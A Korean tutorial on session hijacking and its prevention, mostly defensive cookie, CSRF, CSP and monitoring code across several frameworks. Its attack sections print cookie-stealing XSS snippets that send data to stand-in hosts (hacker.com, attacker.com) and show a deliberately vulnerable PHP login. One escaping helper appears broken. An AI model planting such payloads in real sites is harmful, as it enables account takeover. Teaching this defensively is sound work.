🎯 세션 하이재킹, 도대체 뭘까?

🔍 세션과 쿠키, 이 둘의 관계는?

🎭 세션 하이재킹의 다양한 공격 기법

1️⃣ 세션 스니핑(Session Sniffing)

GET /mypage HTTP/1.1
Host: example.com
Cookie: sessionid=abc123xyz456

2️⃣ 세션 픽세이션(Session Fixation)

3️⃣ XSS를 이용한 세션 탈취

<script>
// 쿠키를 훔쳐서 해커 서버로 전송
var cookie = document.cookie;
var img = new Image();
img.src = "http://hacker.com/steal?cookie=" + cookie;
</script>

4️⃣ 중간자 공격(Man-in-the-Middle, MITM)

5️⃣ 세션 사이드재킹(Session Sidejacking)

🛡️ 세션 하이재킹 예방 기법 - 개발자 편

1️⃣ HTTPS 사용 (필수 중의 필수!)

# HTTP를 HTTPS로 자동 리다이렉트
<VirtualHost *:80>
    ServerName example.com
    Redirect permanent / https://example.com/
</VirtualHost>

# HTTPS 설정
<VirtualHost *:443>
    ServerName example.com
    SSLEngine on
    SSLCertificateFile /path/to/cert.pem
    SSLCertificateKeyFile /path/to/key.pem
</VirtualHost>

// Node.js Express 예시
res.cookie('sessionId', sessionValue, {
    secure: true,  // HTTPS에서만 전송
    httpOnly: true,
    sameSite: 'strict'
});

2️⃣ HttpOnly 플래그 설정

// PHP 예시
setcookie('PHPSESSID', $sessionId, [
    'httponly' => true,  // JavaScript 접근 차단
    'secure' => true,
    'samesite' => 'Strict'
]);

// Java (Servlet) 예시
Cookie cookie = new Cookie("JSESSIONID", sessionId);
cookie.setHttpOnly(true);
cookie.setSecure(true);
response.addCookie(cookie);

// Python Flask 예시
from flask import make_response
resp = make_response(render_template('index.html'))
resp.set_cookie('session_id', session_value, 
                httponly=True, 
                secure=True, 
                samesite='Strict')

3️⃣ SameSite 쿠키 속성

// Strict 모드 (가장 안전)
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly

// Lax 모드 (일반적 사용)
Set-Cookie: sessionid=abc123; SameSite=Lax; Secure; HttpOnly

// None 모드 (크로스 도메인 필요시)
Set-Cookie: sessionid=abc123; SameSite=None; Secure; HttpOnly

4️⃣ 세션 ID 재생성 (Session Regeneration)

// PHP 예시
session_start();
// 로그인 성공 후
if (login_success) {
    session_regenerate_id(true);  // 기존 세션 파일 삭제
    $_SESSION['user_id'] = $user_id;
}

// Node.js Express-session 예시
app.post('/login', (req, res) => {
    if (authenticateUser(req.body)) {
        req.session.regenerate((err) => {
            if (err) return res.status(500).send('Error');
            req.session.userId = user.id;
            res.send('Login successful');
        });
    }
});

// Python Flask 예시
from flask import session
@app.route('/login', methods=['POST'])
def login():
    if authenticate_user(request.form):
        session.clear()  # 기존 세션 클리어
        session.regenerate()  # 새 세션 ID 생성
        session['user_id'] = user_id
        return 'Login successful'

5️⃣ 세션 타임아웃 설정

// PHP 세션 타임아웃 (30분)
ini_set('session.gc_maxlifetime', 1800);
session_start();

// 마지막 활동 시간 체크
if (isset($_SESSION['LAST_ACTIVITY']) && 
    (time() - $_SESSION['LAST_ACTIVITY'] > 1800)) {
    session_unset();
    session_destroy();
    header('Location: /login');
    exit;
}
$_SESSION['LAST_ACTIVITY'] = time();

// Node.js Express-session
const session = require('express-session');
app.use(session({
    secret: 'your-secret-key',
    resave: false,
    saveUninitialized: false,
    cookie: {
        maxAge: 1800000,  // 30분 (밀리초)
        secure: true,
        httpOnly: true,
        sameSite: 'strict'
    }
}));

// Java Servlet
HttpSession session = request.getSession();
session.setMaxInactiveInterval(1800);  // 30분 (초)

6️⃣ IP 주소 및 User-Agent 검증

// PHP 예시
session_start();

// 세션 생성 시
if (!isset($_SESSION['user_ip'])) {
    $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
    $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
}

// 매 요청마다 검증
if ($_SESSION['user_ip'] !== $_SERVER['REMOTE_ADDR'] ||
    $_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
    // 세션 하이재킹 의심!
    session_unset();
    session_destroy();
    header('Location: /login?error=session_invalid');
    exit;
}

// Node.js 예시
app.use((req, res, next) => {
    if (req.session.userId) {
        const currentIP = req.ip;
        const currentUA = req.get('User-Agent');
        
        if (req.session.ip !== currentIP || 
            req.session.userAgent !== currentUA) {
            req.session.destroy();
            return res.status(401).send('Session invalid');
        }
    }
    next();
});

7️⃣ CSRF 토큰 사용

// PHP 예시
session_start();

// CSRF 토큰 생성
if (!isset($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// 폼에 토큰 포함
echo '<form method="POST">';
echo '<input type="hidden" name="csrf_token" value="' . 
     $_SESSION['csrf_token'] . '">';
echo '</form>';

// 요청 검증
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF token validation failed!');
}

// Node.js (csurf 미들웨어)
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

app.get('/form', csrfProtection, (req, res) => {
    res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/process', csrfProtection, (req, res) => {
    // CSRF 토큰 자동 검증됨
    res.send('Data processed');
});

8️⃣ XSS 방어 (입력 검증 및 출력 인코딩)

// HTML 인코딩 (PHP)
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

// JavaScript 인코딩
function escapeJS(str) {
    return str.replace(/[<>"'&]/g, (char) => {
        const entities = {
            '<': '<',
            '>': '>',
            '"': '"',
            "'": ''',
            '&': '&'
        };
        return entities[char];
    });
}

// Content Security Policy (CSP) 헤더 설정
// 인라인 스크립트 차단!
Content-Security-Policy: default-src 'self'; 
                         script-src 'self' https://trusted-cdn.com;
                         style-src 'self' 'unsafe-inline';

// Express.js에서 CSP 설정
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
    directives: {
        defaultSrc: ["'self'"],
        scriptSrc: ["'self'", "'unsafe-inline'"],
        styleSrc: ["'self'", "'unsafe-inline'"],
        imgSrc: ["'self'", "data:", "https:"],
    }
}));

9️⃣ 이중 인증(2FA) 구현

// Node.js에서 OTP 구현 (speakeasy 라이브러리)
const speakeasy = require('speakeasy');

// OTP 시크릿 생성
const secret = speakeasy.generateSecret({
    name: 'MyApp (user@example.com)'
});

// QR 코드 생성해서 사용자에게 제공
// 사용자는 Google Authenticator로 스캔

// OTP 검증
const verified = speakeasy.totp.verify({
    secret: secret.base32,
    encoding: 'base32',
    token: userInputToken,  // 사용자가 입력한 6자리 코드
    window: 2  // 시간 오차 허용
});

if (verified) {
    // 인증 성공
    req.session.twoFactorVerified = true;
}

👤 세션 하이재킹 예방 기법 - 사용자 편

1️⃣ 공용 와이파이 조심하기

2️⃣ 정기적으로 로그아웃하기

3️⃣ 브라우저와 OS 최신 버전 유지

4️⃣ 의심스러운 링크 클릭하지 않기

5️⃣ 비밀번호 관리자 사용

6️⃣ 이중 인증(2FA) 활성화

7️⃣ 활성 세션 정기적으로 확인

🔬 실전 예제: 세션 하이재킹 시뮬레이션

🎯 시나리오 1: 취약한 웹사이트

<?php
// 매우 취약한 예제 - 절대 이렇게 하지 마세요!
session_start();

if ($_POST['username'] == 'admin' && $_POST['password'] == 'password') {
    $_SESSION['user'] = 'admin';
    // 문제 1: 세션 ID 재생성 안 함
    // 문제 2: HTTPS 강제 안 함
    // 문제 3: HttpOnly 플래그 없음
    echo "로그인 성공!";
}

// 다른 페이지에서
if (isset($_SESSION['user'])) {
    echo "환영합니다, " . $_SESSION['user'];
    // 문제 4: XSS 취약 (htmlspecialchars 없음)
}
?>

// 1. XSS를 통한 쿠키 탈취
<script>
// 게시판에 이런 스크립트를 삽입
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

// 2. 공격자 서버에서 받은 세션 ID 사용
// 공격자는 브라우저 개발자 도구에서:
document.cookie = "PHPSESSID=탈취한세션ID";
// 이제 피해자 계정으로 접속 가능!

✅ 시나리오 2: 안전한 웹사이트

<?php
// 보안이 강화된 예제
session_start();

// 1. HTTPS 강제
if (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] !== 'on') {
    header('Location: https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
    exit;
}

// 2. 세션 쿠키 보안 설정
session_set_cookie_params([
    'lifetime' => 1800,  // 30분
    'path' => '/',
    'domain' => $_SERVER['HTTP_HOST'],
    'secure' => true,     // HTTPS만
    'httponly' => true,   // JavaScript 접근 차단
    'samesite' => 'Strict'  // CSRF 방어
]);

// 3. CSRF 토큰 생성
if (!isset($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// 4. 로그인 처리
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // CSRF 토큰 검증
    if (!isset($_POST['csrf_token']) || 
        $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    
    $username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
    $password = $_POST['password'];
    
    // 실제로는 DB에서 해시된 비밀번호와 비교
    if (authenticate($username, $password)) {
        // 5. 세션 ID 재생성 (세션 픽세이션 방어)
        session_regenerate_id(true);
        
        // 6. 사용자 정보 저장
        $_SESSION['user_id'] = $user_id;
        $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
        $_SESSION['last_activity'] = time();
        
        header('Location: /dashboard');
        exit;
    }
}

// 7. 세션 검증 (매 요청마다)
function validateSession() {
    // 타임아웃 체크
    if (isset($_SESSION['last_activity']) && 
        (time() - $_SESSION['last_activity'] > 1800)) {
        session_unset();
        session_destroy();
        header('Location: /login?timeout=1');
        exit;
    }
    $_SESSION['last_activity'] = time();
    
    // IP 및 User-Agent 검증
    if (isset($_SESSION['user_ip']) && 
        $_SESSION['user_ip'] !== $_SERVER['REMOTE_ADDR']) {
        session_unset();
        session_destroy();
        header('Location: /login?error=session_invalid');
        exit;
    }
    
    if (isset($_SESSION['user_agent']) && 
        $_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
        session_unset();
        session_destroy();
        header('Location: /login?error=session_invalid');
        exit;
    }
}

// 8. XSS 방어 - 출력 시 인코딩
function safe_echo($str) {
    echo htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
}

// 사용 예
if (isset($_SESSION['user_id'])) {
    validateSession();
    echo "환영합니다, ";
    safe_echo($username);
}
?>

const express = require('express');
const session = require('express-session');
const helmet = require('helmet');
const csrf = require('csurf');
const rateLimit = require('express-rate-limit');

const app = express();

// 1. 보안 헤더 설정
app.use(helmet({
    contentSecurityPolicy: {
        directives: {
            defaultSrc: ["'self'"],
            scriptSrc: ["'self'"],
            styleSrc: ["'self'", "'unsafe-inline'"],
        }
    },
    hsts: {
        maxAge: 31536000,
        includeSubDomains: true,
        preload: true
    }
}));

// 2. Rate Limiting (무차별 대입 공격 방어)
const loginLimiter = rateLimit({
    windowMs: 15 * 60 * 1000, // 15분
    max: 5, // 최대 5번 시도
    message: '너무 많은 로그인 시도. 15분 후 다시 시도하세요.'
});

// 3. 세션 설정
app.use(session({
    secret: process.env.SESSION_SECRET,
    name: 'sessionId',  // 기본 이름 변경
    resave: false,
    saveUninitialized: false,
    cookie: {
        secure: true,      // HTTPS만
        httpOnly: true,    // JavaScript 접근 차단
        maxAge: 1800000,   // 30분
        sameSite: 'strict' // CSRF 방어
    },
    store: new RedisStore({  // 세션을 Redis에 저장
        client: redisClient,
        prefix: 'sess:'
    })
}));

// 4. CSRF 보호
const csrfProtection = csrf({ cookie: true });

// 5. 세션 검증 미들웨어
function validateSession(req, res, next) {
    if (!req.session.userId) {
        return res.redirect('/login');
    }
    
    // 타임아웃 체크
    const now = Date.now();
    if (req.session.lastActivity && 
        (now - req.session.lastActivity > 1800000)) {
        req.session.destroy();
        return res.redirect('/login?timeout=1');
    }
    req.session.lastActivity = now;
    
    // IP 검증
    if (req.session.ip && req.session.ip !== req.ip) {
        req.session.destroy();
        return res.redirect('/login?error=session_invalid');
    }
    
    // User-Agent 검증
    const userAgent = req.get('User-Agent');
    if (req.session.userAgent && req.session.userAgent !== userAgent) {
        req.session.destroy();
        return res.redirect('/login?error=session_invalid');
    }
    
    next();
}

// 6. 로그인 라우트
app.post('/login', loginLimiter, csrfProtection, async (req, res) => {
    const { username, password } = req.body;
    
    try {
        // 사용자 인증 (실제로는 DB 조회 및 bcrypt 비교)
        const user = await authenticateUser(username, password);
        
        if (user) {
            // 기존 세션 파괴 후 새로 생성
            req.session.regenerate((err) => {
                if (err) {
                    return res.status(500).send('Session error');
                }
                
                // 세션 정보 저장
                req.session.userId = user.id;
                req.session.ip = req.ip;
                req.session.userAgent = req.get('User-Agent');
                req.session.lastActivity = Date.now();
                
                // 로그인 기록 저장
                logLoginActivity(user.id, req.ip, req.get('User-Agent'));
                
                res.json({ success: true, redirect: '/dashboard' });
            });
        } else {
            res.status(401).json({ error: '로그인 실패' });
        }
    } catch (error) {
        console.error('Login error:', error);
        res.status(500).json({ error: '서버 오류' });
    }
});

// 7. 보호된 라우트
app.get('/dashboard', validateSession, (req, res) => {
    res.render('dashboard', {
        user: req.session.userId
    });
});

// 8. 로그아웃
app.post('/logout', (req, res) => {
    req.session.destroy((err) => {
        if (err) {
            return res.status(500).send('Logout error');
        }
        res.clearCookie('sessionId');
        res.redirect('/login');
    });
});

// 9. 활성 세션 관리
app.get('/active-sessions', validateSession, async (req, res) => {
    const sessions = await getActiveSessions(req.session.userId);
    res.json(sessions);
});

app.post('/revoke-session', validateSession, async (req, res) => {
    const { sessionId } = req.body;
    await revokeSession(sessionId);
    res.json({ success: true });
});

app.listen(3000, () => {
    console.log('Server running on https://localhost:3000');
});

🏢 실제 사례 연구

📱 사례 1: Firesheep 사건 (2010)

🎮 사례 2: Steam 세션 하이재킹 (2015)

💳 사례 3: 온라인 뱅킹 세션 하이재킹 (2018)

📧 사례 4: 대형 이메일 서비스 XSS 공격 (2019)

// 해커가 이메일에 삽입한 악성 코드
<img src=x onerror="
    fetch('https://attacker.com/steal', {
        method: 'POST',
        body: JSON.stringify({
            cookie: document.cookie,
            email: getEmailFromDOM()
        })
    });
">

🔧 개발 환경별 보안 설정 가이드

🐘 PHP 보안 설정

// php.ini 설정
session.cookie_httponly = 1
session.cookie_secure = 1
session.cookie_samesite = "Strict"
session.use_strict_mode = 1
session.use_only_cookies = 1
session.cookie_lifetime = 0  // 브라우저 종료 시 삭제
session.gc_maxlifetime = 1800  // 30분
session.name = "CUSTOM_SESSID"  // 기본 이름 변경

// 코드에서 설정
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_samesite', 'Strict');
ini_set('session.use_strict_mode', 1);

session_start();

// 세션 보안 강화 함수
function secureSession() {
    // 세션 ID 복잡도 증가
    ini_set('session.entropy_length', 32);
    ini_set('session.entropy_file', '/dev/urandom');
    
    // 세션 ID 재생성 (주기적으로)
    if (!isset($_SESSION['created'])) {
        $_SESSION['created'] = time();
    } else if (time() - $_SESSION['created'] > 300) {
        session_regenerate_id(true);
        $_SESSION['created'] = time();
    }
    
    // IP 검증
    if (!isset($_SESSION['ip'])) {
        $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
    } else if ($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR']) {
        session_unset();
        session_destroy();
        die('Session hijacking detected!');
    }
}

☕ Java/Spring Boot 보안 설정

// application.properties
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.same-site=strict
server.servlet.session.timeout=30m
server.servlet.session.cookie.name=CUSTOM_JSESSIONID

// SecurityConfig.java
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .sessionManagement()
                .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED)
                .invalidSessionUrl("/login?invalid")
                .maximumSessions(1)  // 동시 세션 1개로 제한
                .maxSessionsPreventsLogin(true)
                .expiredUrl("/login?expired")
            .and()
            .sessionFixation()
                .newSession()  // 로그인 시 새 세션 생성
            .and()
            .csrf()
                .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
            .and()
            .headers()
                .httpStrictTransportSecurity()
                    .includeSubDomains(true)
                    .maxAgeSeconds(31536000)
                .and()
                .contentSecurityPolicy("default-src 'self'");
    }
    
    @Bean
    public SessionRegistry sessionRegistry() {
        return new SessionRegistryImpl();
    }
}

// 세션 이벤트 리스너
@Component
public class SessionEventListener implements HttpSessionListener {
    
    @Override
    public void sessionCreated(HttpSessionEvent event) {
        HttpSession session = event.getSession();
        // 세션 생성 로깅
        log.info("Session created: {}", session.getId());
    }
    
    @Override
    public void sessionDestroyed(HttpSessionEvent event) {
        HttpSession session = event.getSession();
        // 세션 파괴 로깅
        log.info("Session destroyed: {}", session.getId());
    }
}

🐍 Python/Django 보안 설정

# settings.py

# 세션 보안 설정
SESSION_COOKIE_SECURE = True  # HTTPS만
SESSION_COOKIE_HTTPONLY = True  # JavaScript 접근 차단
SESSION_COOKIE_SAMESITE = 'Strict'  # CSRF 방어
SESSION_COOKIE_AGE = 1800  # 30분
SESSION_SAVE_EVERY_REQUEST = True  # 매 요청마다 세션 갱신
SESSION_COOKIE_NAME = 'custom_sessionid'  # 기본 이름 변경

# CSRF 보호
CSRF_COOKIE_SECURE = True
CSRF_COOKIE_HTTPONLY = True
CSRF_COOKIE_SAMESITE = 'Strict'

# 보안 헤더
SECURE_BROWSER_XSS_FILTER = True
SECURE_CONTENT_TYPE_NOSNIFF = True
SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True
SECURE_SSL_REDIRECT = True

# 세션 백엔드 (Redis 사용 권장)
SESSION_ENGINE = 'django.contrib.sessions.backends.cache'
SESSION_CACHE_ALIAS = 'default'

CACHES = {
    'default': {
        'BACKEND': 'django_redis.cache.RedisCache',
        'LOCATION': 'redis://127.0.0.1:6379/1',
        'OPTIONS': {
            'CLIENT_CLASS': 'django_redis.client.DefaultClient',
        }
    }
}

# 미들웨어에 세션 검증 추가
# middleware.py
from django.utils.deprecation import MiddlewareMixin
from django.contrib.auth import logout
import time

class SessionSecurityMiddleware(MiddlewareMixin):
    def process_request(self, request):
        if request.user.is_authenticated:
            # IP 검증
            session_ip = request.session.get('ip_address')
            current_ip = self.get_client_ip(request)
            
            if session_ip and session_ip != current_ip:
                logout(request)
                return HttpResponseRedirect('/login?error=session_invalid')
            
            if not session_ip:
                request.session['ip_address'] = current_ip
            
            # 타임아웃 체크
            last_activity = request.session.get('last_activity')
            if last_activity:
                if time.time() - last_activity > 1800:  # 30분
                    logout(request)
                    return HttpResponseRedirect('/login?timeout=1')
            
            request.session['last_activity'] = time.time()
    
    def get_client_ip(self, request):
        x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR')
        if x_forwarded_for:
            ip = x_forwarded_for.split(',')[0]
        else:
            ip = request.META.get('REMOTE_ADDR')
        return ip

# views.py
from django.contrib.auth import login
from django.contrib.sessions.models import Session

def login_view(request):
    if request.method == 'POST':
        user = authenticate(username=username, password=password)
        if user:
            # 기존 세션 모두 삭제 (다중 로그인 방지)
            Session.objects.filter(
                session_key__in=user.session_set.values_list('session_key', flat=True)
            ).delete()
            
            # 새 세션으로 로그인
            login(request, user)
            
            # 세션 정보 저장
            request.session['ip_address'] = get_client_ip(request)
            request.session['user_agent'] = request.META.get('HTTP_USER_AGENT')
            request.session['last_activity'] = time.time()
            
            return redirect('dashboard')

💎 Ruby on Rails 보안 설정

# config/initializers/session_store.rb
Rails.application.config.session_store :cookie_store,
  key: '_custom_session',
  secure: Rails.env.production?,  # HTTPS만 (프로덕션)
  httponly: true,  # JavaScript 접근 차단
  same_site: :strict,  # CSRF 방어
  expire_after: 30.minutes

# config/application.rb
config.force_ssl = true  # HTTPS 강제

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.default_src :self
  policy.script_src  :self
  policy.style_src   :self, :unsafe_inline
end

# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
  before_action :validate_session
  
  private
  
  def validate_session
    if user_signed_in?
      # IP 검증
      if session[:ip_address].present? && 
         session[:ip_address] != request.remote_ip
        sign_out current_user
        redirect_to login_path, alert: 'Session invalid'
        return
      end
      
      session[:ip_address] ||= request.remote_ip
      
      # 타임아웃 체크
      if session[:last_activity].present?
        if Time.now - session[:last_activity] > 30.minutes
          sign_out current_user
          redirect_to login_path, alert: 'Session timeout'
          return
        end
      end
      
      session[:last_activity] = Time.now
    end
  end
end

# app/controllers/sessions_controller.rb
class SessionsController < ApplicationController
  def create
    user = User.find_by(email: params[:email])
    
    if user && user.authenticate(params[:password])
      # 세션 재생성
      reset_session
      
      # 로그인
      session[:user_id] = user.id
      session[:ip_address] = request.remote_ip
      session[:user_agent] = request.user_agent
      session[:last_activity] = Time.now
      
      redirect_to dashboard_path
    else
      flash.now[:alert] = 'Invalid credentials'
      render :new
    end
  end
  
  def destroy
    reset_session
    redirect_to root_path
  end
end

📊 세션 하이재킹 탐지 및 모니터링

🚨 이상 징후 탐지

// Node.js 이상 탐지 미들웨어
const geoip = require('geoip-lite');

function detectAnomalies(req, res, next) {
    if (!req.session.userId) {
        return next();
    }
    
    const alerts = [];
    
    // 1. IP 변경 감지
    const currentIP = req.ip;
    const sessionIP = req.session.ip;
    
    if (sessionIP && sessionIP !== currentIP) {
        alerts.push({
            type: 'IP_CHANGE',
            severity: 'HIGH',
            oldIP: sessionIP,
            newIP: currentIP
        });
    }
    
    // 2. 지리적 위치 변경 감지
    const currentGeo = geoip.lookup(currentIP);
    const sessionGeo = req.session.geo;
    
    if (sessionGeo && currentGeo) {
        if (sessionGeo.country !== currentGeo.country) {
            alerts.push({
                type: 'COUNTRY_CHANGE',
                severity: 'CRITICAL',
                oldCountry: sessionGeo.country,
                newCountry: currentGeo.country
            });
        }
        
        // 물리적으로 불가능한 이동 감지
        const distance = calculateDistance(sessionGeo, currentGeo);
        const timeDiff = (Date.now() - req.session.lastActivity) / 1000 / 60; // 분
        const speed = distance / timeDiff; // km/min
        
        if (speed > 10) {  // 시속 600km 이상 (비행기보다 빠름)
            alerts.push({
                type: 'IMPOSSIBLE_TRAVEL',
                severity: 'CRITICAL',
                distance: distance,
                time: timeDiff,
                speed: speed
            });
        }
    }
    
    // 3. User-Agent 변경 감지
    const currentUA = req.get('User-Agent');
    const sessionUA = req.session.userAgent;
    
    if (sessionUA && sessionUA !== currentUA) {
        alerts.push({
            type: 'USER_AGENT_CHANGE',
            severity: 'MEDIUM',
            oldUA: sessionUA,
            newUA: currentUA
        });
    }
    
    // 4. 비정상적인 요청 빈도
    const requestCount = req.session.requestCount || 0;
    const requestWindow = req.session.requestWindow || Date.now();
    
    if (Date.now() - requestWindow < 60000) {  // 1분 이내
        if (requestCount > 100) {  // 1분에 100회 이상
            alerts.push({
                type: 'HIGH_REQUEST_RATE',
                severity: 'HIGH',
                count: requestCount
            });
        }
        req.session.requestCount = requestCount + 1;
    } else {
        req.session.requestCount = 1;
        req.session.requestWindow = Date.now();
    }
    
    // 경고 처리
    if (alerts.length > 0) {
        // 로깅
        logger.warn('Session anomaly detected', {
            userId: req.session.userId,
            sessionId: req.sessionID,
            alerts: alerts
        });
        
        // 심각도에 따라 조치
        const criticalAlerts = alerts.filter(a => a.severity === 'CRITICAL');
        if (criticalAlerts.length > 0) {
            // 세션 즉시 종료
            req.session.destroy();
            
            // 사용자에게 알림
            notifyUser(req.session.userId, 'Suspicious activity detected');
            
            // 관리자에게 알림
            notifyAdmin({
                userId: req.session.userId,
                alerts: criticalAlerts
            });
            
            return res.status(401).json({
                error: 'Session terminated due to suspicious activity'
            });
        }
    }
    
    // 세션 정보 업데이트
    req.session.ip = currentIP;
    req.session.geo = currentGeo;
    req.session.userAgent = currentUA;
    req.session.lastActivity = Date.now();
    
    next();
}

function calculateDistance(geo1, geo2) {
    // Haversine 공식으로 거리 계산
    const R = 6371; // 지구 반지름 (km)
    const dLat = toRad(geo2.ll[0] - geo1.ll[0]);
    const dLon = toRad(geo2.ll[1] - geo1.ll[1]);
    
    const a = Math.sin(dLat/2) * Math.sin(dLat/2) +
              Math.cos(toRad(geo1.ll[0])) * Math.cos(toRad(geo2.ll[0])) *
              Math.sin(dLon/2) * Math.sin(dLon/2);
    
    const c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a));
    return R * c;
}

function toRad(deg) {
    return deg * (Math.PI/180);
}

📈 로깅 및 모니터링

// 로깅 시스템 구현
const winston = require('winston');

const logger = winston.createLogger({
    level: 'info',
    format: winston.format.json(),
    transports: [
        new winston.transports.File({ filename: 'error.log', level: 'error' }),
        new winston.transports.File({ filename: 'security.log', level: 'warn' }),
        new winston.transports.File({ filename: 'combined.log' })
    ]
});

// 세션 생성 로깅
function logSessionCreated(userId, sessionId, req) {
    logger.info('Session created', {
        event: 'SESSION_CREATED',
        userId: userId,
        sessionId: sessionId,
        ip: req.ip,
        userAgent: req.get('User-Agent'),
        geo: geoip.lookup(req.ip),
        timestamp: new Date().toISOString()
    });
}

// 로그인 시도 로깅
function logLoginAttempt(username, success, req) {
    logger.info('Login attempt', {
        event: 'LOGIN_ATTEMPT',
        username: username,
        success: success,
        ip: req.ip,
        userAgent: req.get('User-Agent'),
        timestamp: new Date().toISOString()
    });
}

// 세션 파괴 로깅
function logSessionDestroyed(userId, sessionId, reason) {
    logger.info('Session destroyed', {
        event: 'SESSION_DESTROYED',
        userId: userId,
        sessionId: sessionId,
        reason: reason,
        timestamp: new Date().toISOString()
    });
}

// 의심스러운 활동 로깅
function logSuspiciousActivity(userId, sessionId, details) {
    logger.warn('Suspicious activity', {
        event: 'SUSPICIOUS_ACTIVITY',
        userId: userId,
        sessionId: sessionId,
        details: details,
        timestamp: new Date().toISOString()
    });
}

// 실시간 모니터링 대시보드
const io = require('socket.io')(server);

io.on('connection', (socket) => {
    // 관리자만 접근 가능
    if (!socket.request.session.isAdmin) {
        socket.disconnect();
        return;
    }
    
    // 실시간 세션 통계 전송
    setInterval(() => {
        const stats = {
            activeSessions: getActiveSessionCount(),
            loginAttempts: getRecentLoginAttempts(),
            suspiciousActivities: getRecentSuspiciousActivities(),
            topCountries: getTopCountries(),
            timestamp: Date.now()
        };
        socket.emit('stats', stats);
    }, 5000);
});

🔔 알림 시스템

// 이메일 알림
const nodemailer = require('nodemailer');

async function notifyUserByEmail(userId, event) {
    const user = await getUserById(userId);
    
    const transporter = nodemailer.createTransporter({
        service: 'gmail',
        auth: {
            user: process.env.EMAIL_USER,
            pass: process.env.EMAIL_PASS
        }
    });
    
    const mailOptions = {
        from: 'security@yourapp.com',
        to: user.email,
        subject: '⚠️ 계정 보안 경고',
        html: `
            <h2>의심스러운 활동이 감지되었습니다</h2>
            <p>안녕하세요, ${user.name}님</p>
            <p>귀하의 계정에서 다음과 같은 의심스러운 활동이 감지되었습니다:</p>
            <ul>
                <li>이벤트: ${event.type}</li>
                <li>시간: ${new Date(event.timestamp).toLocaleString()}</li>
                <li>위치: ${event.location}</li>
                <li>IP: ${event.ip}</li>
            </ul>
            <p>본인의 활동이 아니라면 즉시 비밀번호를 변경하시기 바랍니다.</p>
            <a href="https://yourapp.com/security/sessions">활성 세션 확인하기</a>
        `
    };
    
    await transporter.sendMail(mailOptions);
}

// SMS 알림
const twilio = require('twilio');
const client = twilio(process.env.TWILIO_SID, process.env.TWILIO_TOKEN);

async function notifyUserBySMS(userId, message) {
    const user = await getUserById(userId);
    
    if (user.phone) {
        await client.messages.create({
            body: message,
            from: process.env.TWILIO_PHONE,
            to: user.phone
        });
    }
}

// 푸시 알림
const webpush = require('web-push');

async function notifyUserByPush(userId, notification) {
    const subscriptions = await getUserPushSubscriptions(userId);
    
    const payload = JSON.stringify({
        title: '보안 경고',
        body: notification.message,
        icon: '/icon-security.png',
        badge: '/badge-security.png',
        data: {
            url: '/security/sessions'
        }
    });
    
    for (const subscription of subscriptions) {
        try {
            await webpush.sendNotification(subscription, payload);
        } catch (error) {
            console.error('Push notification failed:', error);
        }
    }
}

// Slack 알림 (관리자용)
const { WebClient } = require('@slack/web-api');
const slack = new WebClient(process.env.SLACK_TOKEN);

async function notifyAdminOnSlack(alert) {
    await slack.chat.postMessage({
        channel: '#security-alerts',
        text: `🚨 보안 경고: ${alert.type}`,
        blocks: [
            {
                type: 'section',
                text: {
                    type: 'mrkdwn',
                    text: `*보안 경고 발생*\n심각도: ${alert.severity}`
                }
            },
            {
                type: 'section',
                fields: [
                    {
                        type: 'mrkdwn',
                        text: `*사용자:*\n${alert.userId}`
                    },
                    {
                        type: 'mrkdwn',
                        text: `*이벤트:*\n${alert.type}`
                    },
                    {
                        type: 'mrkdwn',
                        text: `*IP:*\n${alert.ip}`
                    },
                    {
                        type: 'mrkdwn',
                        text: `*시간:*\n${new Date(alert.timestamp).toLocaleString()}`
                    }
                ]
            },
            {
                type: 'actions',
                elements: [
                    {
                        type: 'button',
                        text: {
                            type: 'plain_text',
                            text: '세션 종료'
                        },
                        value: alert.sessionId,
                        action_id: 'terminate_session'
                    },
                    {
                        type: 'button',
                        text: {
                            type: 'plain_text',
                            text: '계정 잠금'
                        },
                        value: alert.userId,
                        action_id: 'lock_account',
                        style: 'danger'
                    }
                ]
            }
        ]
    });
}

🎓 재능넷에서 보안 전문가 찾기

🎯 마무리: 세션 보안 체크리스트

🌟 결론